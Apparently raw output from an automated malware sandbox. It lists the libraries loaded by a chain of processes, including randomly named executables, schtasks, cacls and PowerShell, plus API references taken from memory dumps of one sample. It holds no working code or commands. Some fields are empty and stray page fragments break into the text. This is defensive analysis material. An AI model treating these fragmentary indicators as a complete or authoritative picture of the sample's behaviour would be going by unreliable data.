"AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007404) "2va9153.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter Wininet.dll (UID: 00000000-00000608) "2va9153.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000608) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00001648) "3CP67Xw.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001648) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001864) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001864) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001864) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001864) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006432) "4Kb287am.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006432) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00007032) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00007032) "5cM9dm9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001224) "5cM9dm9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001224) "5cM9dm9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001224) "5cM9dm9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001224) "5cM9dm9.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001224) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006736) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006736) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006736) "6aw7Xx2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003652) "6aw7Xx2.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00003652) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006384) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006384) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006384) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003528) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006420) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006420) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00006420) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00006420) "cmd.exe" called "LoadLibrary" with a parameter MLANG.dll (UID: 00000000-00006420) "cmd.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\urlmon.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00002612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5#\73c2c8627fee7863c44684ef9b2f3a21\Microsoft.KeyDistributionServ (UID: 00000000-00002612) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002064) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002064) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002064) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004144) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004144) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007804) "tus.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006604) "tus.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006604) "foto1661.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005868) "foto1661.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005868) "PH1iJ6gO.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004132) "PH1iJ6gO.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004132) "salo.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005148) "salo.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005148) "salo.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005148) "salo.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005148) "TW9GU8TZ.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007364) "TW9GU8TZ.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007364) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004428) "yG0Wt0do.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007384) "yG0Wt0do.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007384) "ZP7Gz0iG.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008156) "ZP7Gz0iG.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008156) "ZP7Gz0iG.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007604) "1RI95Jv4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002544) "1RI95Jv4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002544) "1RI95Jv4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00002544) "1RI95Jv4.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002544) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008160) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008056)3b:T1585,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00B40000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "CreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.00D30000.00000004.mdmp, 00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "CreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp, 00000000-00002064.00000001.71538.02DC0000.00000004.mdmp, 00000000-00002064.00000002.73457.02DC0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp, 00000000-00002064.00000001.71538.02DC0000.00000004.mdmp, 00000000-00002064.00000002.73457.02DC0000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp, 00000000-00002064.00000001.71538.02DC0000.00000004.mdmp, 00000000-00002064.00000002.73457.02DC0000.00000004.mdmp")3c:T8d4,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")3d:T6c8,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; 